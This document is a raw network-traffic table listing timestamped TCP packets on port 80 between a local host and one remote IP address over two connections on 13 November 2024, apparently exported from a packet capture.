Nov 13, 2024 09:28:57.144370079 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.144510031 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.144568920 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.144577980 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.144596100 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.144654036 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.144761086 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.144778013 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.144793987 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.144833088 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.145009041 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.145025015 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.145064116 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.145375967 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.145445108 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.145461082 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.145478010 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.145530939 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.145654917 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.145672083 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.145688057 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.145726919 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.145900011 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.145916939 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.145955086 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.146280050 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.146337032 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.146352053 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.146368980 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.146425009 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.146545887 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.146563053 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.146578074 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.146594048 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.146620989 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.146652937 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.146838903 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.175235987 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.175254107 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.175270081 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.175354958 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.175370932 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.175385952 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.175614119 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.175615072 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.184251070 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.184325933 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.184416056 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.184429884 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.184444904 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.184461117 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.184475899 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.184480906 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.184514999 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.238044977 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.261724949 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.261739969 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.261754990 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.261779070 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.261791945 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.261806965 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.261948109 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.261949062 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.261949062 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.261974096 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.262053013 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.262068033 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.262197018 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.262212038 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.262259960 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.262259960 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.262347937 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.262363911 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.262423992 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.262485981 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.262501001 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.262542009 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.262681007 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.262696028 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.262737036 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.262834072 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.262850046 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.262890100 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.262969971 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.263024092 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.263046980 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.263062954 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.263077974 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.263093948 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.263115883 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.263148069 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.263405085 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.263417959 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.263473034 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.263550043 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.263566971 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.263581991 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.263617039 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.263822079 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.263838053 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.263851881 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.263865948 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.263879061 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.263881922 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.263897896 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.263901949 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.263915062 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.263943911 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.263978004 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.264391899 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.264466047 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.264520884 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.264564991 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.264580011 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.264595032 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.264631987 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.264849901 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.264872074 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.264887094 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.264902115 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.264905930 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.264919043 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.264930010 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.264934063 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.264945030 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.264983892 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.265013933 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.265434980 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.265451908 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.265510082 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.265656948 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.265671968 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.265686989 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.265727043 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.265939951 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.265954971 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.265969992 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.265985012 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.265995026 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.266000986 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.266017914 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.266020060 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.266060114 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.266086102 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.753952026 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:58.776102066 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:58.781359911 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:58.781610966 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:58.799527884 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:58.805641890 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.451735020 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.451761961 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.451769114 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.451781034 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.451860905 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.451867104 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.451941967 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.451961040 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.451972961 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.452073097 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.452166080 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.452316999 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.457120895 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.457273960 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.457290888 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.457308054 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.457326889 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.457360029 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.484185934 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.484214067 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.484456062 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.570593119 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.570610046 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.570626020 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.570641041 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.570702076 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.570727110 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.570792913 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.570832014 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.570887089 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.570931911 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.570949078 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.570962906 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.570995092 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.571584940 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.571636915 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.571960926 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.571978092 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.572022915 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.572073936 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.572089911 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.572103977 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.572138071 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.572658062 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.572709084 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.572742939 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.572758913 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.572807074 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.572889090 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.573477030 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.573524952 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.602910042 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.602941990 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.602957010 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.602972031 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.602987051 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.603126049 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.688926935 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.688955069 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.688970089 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.689022064 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.689088106 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.689109087 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.689145088 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.689233065 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.689281940 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.689385891 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.689440966 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.689455986 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.689471960 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.689487934 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.689522982 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.689718008 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.690048933 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.690083027 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.690099001 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.690099955 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.690145969 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.690432072 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.690448046 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.690463066 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.690491915 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.690555096 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.690598965 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.690885067 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.690922976 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.690939903 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.690967083 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.691063881 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.691107988 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.691108942 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.691124916 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.691164970 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.691785097 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.691819906 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.691837072 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.691870928 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.691937923 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.691955090 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.691970110 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.691998959 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.692045927 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.692599058 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.692650080 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.692667961 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.692698002 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.692785025 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.692831039 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.692838907 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.692856073 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.692899942 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.693443060 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.693505049 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.693521976 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.693553925 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.693674088 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.693690062 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.693722010 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.721728086 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.721782923 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.721797943 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.721818924 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.721894026 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.721910954 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.721927881 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.721945047 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.721962929 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.721972942 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.722003937 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.722348928 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.722426891 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.722440004 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.722454071 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.722466946 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.722475052 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.722512007 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.769220114 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.807534933 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.807590961 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.807605982 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.807663918 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.807749033 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.807794094 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.807825089 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.807840109 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.807924986 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.808007002 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.808022022 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.808036089 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.808051109 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.808058977 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.808090925 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.808301926 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.808362007 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.808378935 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.808392048 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.808402061 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.808407068 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.808444023 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.808782101 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.808806896 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.808820963 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.808845043 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.808866024 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.808988094 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.809003115 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.809017897 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.809034109 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.809043884 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.809077978 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.809415102 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.809431076 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.809446096 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.809473038 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.809480906 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.809497118 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.809511900 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.809521914 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.809530020 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.809556007 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.809890032 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.809906006 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.809922934 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.809935093 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.809966087 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.810091019 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.810106039 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.810122013 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.810167074 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.810359955 CET	80	59117	38.47.237.27	192.168.2.4
